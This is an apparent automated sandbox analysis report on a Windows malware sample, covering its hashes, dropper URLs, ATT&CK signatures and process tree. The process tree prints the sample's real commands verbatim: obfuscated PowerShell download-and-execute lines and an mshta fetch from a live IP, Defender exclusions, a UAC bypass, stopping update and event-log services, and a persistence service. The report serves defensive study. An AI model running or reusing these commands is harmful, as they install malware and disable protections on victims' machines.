00655d1ac19f7ffeab812a77f9b85f07fced78e7eb27c641b0e0ce25f16963da

Analysis

max time kernel
150s
max time network
148s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 19:28

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General

Target

GRGFK_file.exe
Size

50KB
MD5

666248c216a3f63828f739839230f9f6
SHA1

13690837235053762a538b4c5b2b601ec9f6bb22
SHA256

00655d1ac19f7ffeab812a77f9b85f07fced78e7eb27c641b0e0ce25f16963da
SHA512

37e57468a080dbb33ee480ae63d80939ff06050035f168630ba1d8e220e1b4859f78f897a12ba83a514bc97ed7927ee01c6fcca67fbaf479294a529302f7bdde
SSDEEP

768:CT6n3V7i+V39HhHw98cje6O7UgYWE8knmbN8vnoK:7i+/BHw98cyoWE8ks8vnp

Score

10^/10

defense_evasion evasion execution persistence trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/FF/2.png

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/FF/3.png

Extracted

Language

hta

Source

URLs

hta.dropper

http://176.113.115.178/Windows-Update

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://176.113.115.178/FF/1.png

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2216	powershell.exe
6	2792	powershell.exe
8	2604	mshta.exe
9	2992	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2216	powershell.exe
2792	powershell.exe
2992	powershell.exe
2100	powershell.exe
536	powershell.exe
2616	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Sets service image path in registry 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\LIB\ImagePath = "C:\\ProgramData\\Mig\\Mig.exe"	services.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinRing0_1_2_0\ImagePath = "\\??\\C:\\Windows\\TEMP\\tbqxfbybqhqy.sys"	services.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mig.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	LB31.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	LB31.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mig.exe

Executes dropped EXE 2 IoCs

pid	Process
2500	LB31.exe
1924	Mig.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Known Folders API Service.evtx	svchost.exe

Loads dropped DLL 2 IoCs

pid	Process
2992	powershell.exe
468	services.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1000	powercfg.exe
1808	powercfg.exe
2220	powercfg.exe
1148	powercfg.exe
2524	powercfg.exe
1732	powercfg.exe
3064	powercfg.exe
2308	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	LB31.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Mig.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2500 set thread context of 2364	2500	LB31.exe	69
PID 1924 set thread context of 2748	1924	Mig.exe	98
PID 1924 set thread context of 1460	1924	Mig.exe	99
PID 1924 set thread context of 1688	1924	Mig.exe	104

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\appcompat\programs\RecentFileCache.bcf	svchost.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2864	sc.exe
1484	sc.exe
2060	sc.exe
2556	sc.exe
2596	sc.exe
2572	sc.exe
1516	sc.exe
2240	sc.exe
828	sc.exe
1668	sc.exe
1992	sc.exe
1464	sc.exe
1732	sc.exe
764	sc.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1184	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 60c326bf4b3cdb01	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2216	powershell.exe
2792	powershell.exe
2216	powershell.exe
2216	powershell.exe
2992	powershell.exe
2100	powershell.exe
2992	powershell.exe
2992	powershell.exe
2500	LB31.exe
536	powershell.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2500	LB31.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2500	LB31.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2500	LB31.exe
2500	LB31.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe
2364	dialer.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	services.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2992	powershell.exe
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	536	powershell.exe
Token: SeDebugPrivilege	2364	dialer.exe
Token: SeShutdownPrivilege	1808	powercfg.exe
Token: SeShutdownPrivilege	1000	powercfg.exe
Token: SeShutdownPrivilege	2220	powercfg.exe
Token: SeShutdownPrivilege	2308	powercfg.exe
Token: SeAuditPrivilege	832	svchost.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeShutdownPrivilege	1148	powercfg.exe
Token: SeDebugPrivilege	2748	dialer.exe
Token: SeShutdownPrivilege	2524	powercfg.exe
Token: SeShutdownPrivilege	3064	powercfg.exe
Token: SeShutdownPrivilege	1732	powercfg.exe
Token: SeLockMemoryPrivilege	1688	dialer.exe
Token: SeLoadDriverPrivilege	468	services.exe
Token: SeBackupPrivilege	468	services.exe
Token: SeRestorePrivilege	468	services.exe
Token: SeSecurityPrivilege	468	services.exe
Token: SeTakeOwnershipPrivilege	468	services.exe
Token: SeAssignPrimaryTokenPrivilege	832	svchost.exe
Token: SeIncreaseQuotaPrivilege	832	svchost.exe
Token: SeSecurityPrivilege	832	svchost.exe
Token: SeTakeOwnershipPrivilege	832	svchost.exe
Token: SeLoadDriverPrivilege	832	svchost.exe
Token: SeSystemtimePrivilege	832	svchost.exe
Token: SeBackupPrivilege	832	svchost.exe
Token: SeRestorePrivilege	832	svchost.exe
Token: SeShutdownPrivilege	832	svchost.exe
Token: SeSystemEnvironmentPrivilege	832	svchost.exe
Token: SeUndockPrivilege	832	svchost.exe
Token: SeManageVolumePrivilege	832	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	832	svchost.exe
Token: SeIncreaseQuotaPrivilege	832	svchost.exe
Token: SeSecurityPrivilege	832	svchost.exe
Token: SeTakeOwnershipPrivilege	832	svchost.exe
Token: SeLoadDriverPrivilege	832	svchost.exe
Token: SeSystemtimePrivilege	832	svchost.exe
Token: SeBackupPrivilege	832	svchost.exe
Token: SeRestorePrivilege	832	svchost.exe
Token: SeShutdownPrivilege	832	svchost.exe
Token: SeSystemEnvironmentPrivilege	832	svchost.exe
Token: SeUndockPrivilege	832	svchost.exe
Token: SeManageVolumePrivilege	832	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	832	svchost.exe
Token: SeIncreaseQuotaPrivilege	832	svchost.exe
Token: SeSecurityPrivilege	832	svchost.exe
Token: SeTakeOwnershipPrivilege	832	svchost.exe
Token: SeLoadDriverPrivilege	832	svchost.exe
Token: SeSystemtimePrivilege	832	svchost.exe
Token: SeBackupPrivilege	832	svchost.exe
Token: SeRestorePrivilege	832	svchost.exe
Token: SeShutdownPrivilege	832	svchost.exe
Token: SeSystemEnvironmentPrivilege	832	svchost.exe
Token: SeUndockPrivilege	832	svchost.exe
Token: SeManageVolumePrivilege	832	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	832	svchost.exe
Token: SeIncreaseQuotaPrivilege	832	svchost.exe
Token: SeSecurityPrivilege	832	svchost.exe
Token: SeTakeOwnershipPrivilege	832	svchost.exe
Token: SeLoadDriverPrivilege	832	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 2180	2740	GRGFK_file.exe	30
PID 2740 wrote to memory of 2180	2740	GRGFK_file.exe	30
PID 2740 wrote to memory of 2180	2740	GRGFK_file.exe	30
PID 2180 wrote to memory of 2216	2180	wscript.exe	31
PID 2180 wrote to memory of 2216	2180	wscript.exe	31
PID 2180 wrote to memory of 2216	2180	wscript.exe	31
PID 2180 wrote to memory of 2792	2180	wscript.exe	33
PID 2180 wrote to memory of 2792	2180	wscript.exe	33
PID 2180 wrote to memory of 2792	2180	wscript.exe	33
PID 2216 wrote to memory of 1328	2216	powershell.exe	35
PID 2216 wrote to memory of 1328	2216	powershell.exe	35
PID 2216 wrote to memory of 1328	2216	powershell.exe	35
PID 1328 wrote to memory of 2112	1328	WScript.exe	37
PID 1328 wrote to memory of 2112	1328	WScript.exe	37
PID 1328 wrote to memory of 2112	1328	WScript.exe	37
PID 2112 wrote to memory of 2604	2112	cmd.exe	39
PID 2112 wrote to memory of 2604	2112	cmd.exe	39
PID 2112 wrote to memory of 2604	2112	cmd.exe	39
PID 2604 wrote to memory of 2992	2604	mshta.exe	41
PID 2604 wrote to memory of 2992	2604	mshta.exe	41
PID 2604 wrote to memory of 2992	2604	mshta.exe	41
PID 2992 wrote to memory of 2100	2992	powershell.exe	43
PID 2992 wrote to memory of 2100	2992	powershell.exe	43
PID 2992 wrote to memory of 2100	2992	powershell.exe	43
PID 2792 wrote to memory of 1184	2792	powershell.exe	44
PID 2792 wrote to memory of 1184	2792	powershell.exe	44
PID 2792 wrote to memory of 1184	2792	powershell.exe	44
PID 2992 wrote to memory of 2500	2992	powershell.exe	45
PID 2992 wrote to memory of 2500	2992	powershell.exe	45
PID 2992 wrote to memory of 2500	2992	powershell.exe	45
PID 1772 wrote to memory of 1852	1772	cmd.exe	52
PID 1772 wrote to memory of 1852	1772	cmd.exe	52
PID 1772 wrote to memory of 1852	1772	cmd.exe	52
PID 2500 wrote to memory of 2364	2500	LB31.exe	69
PID 2500 wrote to memory of 2364	2500	LB31.exe	69
PID 2500 wrote to memory of 2364	2500	LB31.exe	69
PID 2500 wrote to memory of 2364	2500	LB31.exe	69
PID 2500 wrote to memory of 2364	2500	LB31.exe	69
PID 2500 wrote to memory of 2364	2500	LB31.exe	69
PID 2500 wrote to memory of 2364	2500	LB31.exe	69
PID 2364 wrote to memory of 420	2364	dialer.exe	5
PID 2364 wrote to memory of 468	2364	dialer.exe	6
PID 2364 wrote to memory of 476	2364	dialer.exe	7
PID 2364 wrote to memory of 484	2364	dialer.exe	8
PID 2364 wrote to memory of 584	2364	dialer.exe	9
PID 2364 wrote to memory of 664	2364	dialer.exe	10
PID 2364 wrote to memory of 748	2364	dialer.exe	11
PID 2364 wrote to memory of 792	2364	dialer.exe	12
PID 2364 wrote to memory of 832	2364	dialer.exe	13
PID 2364 wrote to memory of 972	2364	dialer.exe	15
PID 2364 wrote to memory of 268	2364	dialer.exe	16
PID 2364 wrote to memory of 108	2364	dialer.exe	17
PID 2364 wrote to memory of 1056	2364	dialer.exe	18
PID 2364 wrote to memory of 1092	2364	dialer.exe	19
PID 2364 wrote to memory of 1160	2364	dialer.exe	20
PID 2364 wrote to memory of 1188	2364	dialer.exe	21
PID 2364 wrote to memory of 1240	2364	dialer.exe	23
PID 2364 wrote to memory of 1248	2364	dialer.exe	24
PID 2364 wrote to memory of 1556	2364	dialer.exe	25
PID 2364 wrote to memory of 3052	2364	dialer.exe	26
PID 2364 wrote to memory of 2208	2364	dialer.exe	27
PID 2364 wrote to memory of 1308	2364	dialer.exe	36
PID 2364 wrote to memory of 2500	2364	dialer.exe	45
PID 2364 wrote to memory of 2308	2364	dialer.exe	61

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:420

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
- Sets service image path in registry
- Loads dropped DLL
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:468
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:584
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:1248
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1556
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
    3⤵
    - Checks processor information in registry
    PID:1308
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:664
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  - Indicator Removal: Clear Windows Event Logs
  PID:748
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:792
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1160
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:832
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:972
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:268
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:108
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1056
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1092
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1240
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:3052
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:2208
- C:\ProgramData\Mig\Mig.exe
  C:\ProgramData\Mig\Mig.exe
  2⤵
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  PID:1924
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1620
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:3004
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1484
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1668
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2060
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2572
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1992
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1148
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1732
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2748
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:1460
- - C:\Windows\system32\dialer.exe
    dialer.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1688

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:476

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:484

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1188
- C:\Users\Admin\AppData\Local\Temp\GRGFK_file.exe
  "C:\Users\Admin\AppData\Local\Temp\GRGFK_file.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\wscript.exe
    "wscript" C:\Users\Admin\AppData\Local\Temp\tempScript.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2216
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\CMD.vbs"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1328
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2112
        
        C:\Windows\system32\mshta.exe
        
        mshta http://176.113.115.178/Windows-Update
        7⤵
        Blocklisted process makes network request
        Modifies Internet Explorer settings
        Suspicious use of WriteProcessMemory
        
        PID:2604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
        8⤵
        UAC bypass
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2100
        
        C:\Users\Admin\AppData\Roaming\LB31.exe
        
        "C:\Users\Admin\AppData\Roaming\LB31.exe"
        9⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2500
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        10⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:1772
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        11⤵
        Drops file in Windows directory
        
        PID:1852
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        10⤵
        Launches sc.exe
        
        PID:2556
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        10⤵
        Launches sc.exe
        
        PID:1464
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:1516
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        10⤵
        Launches sc.exe
        
        PID:2240
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        10⤵
        Launches sc.exe
        
        PID:1732
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        10⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2308
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        10⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1000
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        10⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2220
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        10⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1808
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        10⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2364
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "LIB"
        10⤵
        Launches sc.exe
        
        PID:828
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
        10⤵
        Launches sc.exe
        
        PID:2864
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        10⤵
        Launches sc.exe
        
        PID:2596
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "LIB"
        10⤵
        Launches sc.exe
        
        PID:764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2792
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        5⤵
        Gathers network information
        
        PID:1184

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1463656723-12037832271375791712-1719969907-128515087815619622191225824747-714110569"
1⤵
PID:1008

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1333915259-201644137-1349261997-202822913-20977509436460638071617653043-1987054942"
1⤵
PID:2300

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "89760424-186423312820512836551418197283-1425630810-459205018-1052829380-1041742962"
1⤵
PID:1144

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-20293896641749908370-780152221-644883210-12033539951207882993743045538225622009"
1⤵
PID:684

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1984615712-1491325827-15327395081715404796-712188399-1769727858-219468611936848006"
1⤵
PID:1956

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1538620181-1469423296-680882974-1621524646782879392043527163-3345402371914856762"
1⤵
PID:2896

C:\Windows\system32\conhost.exe
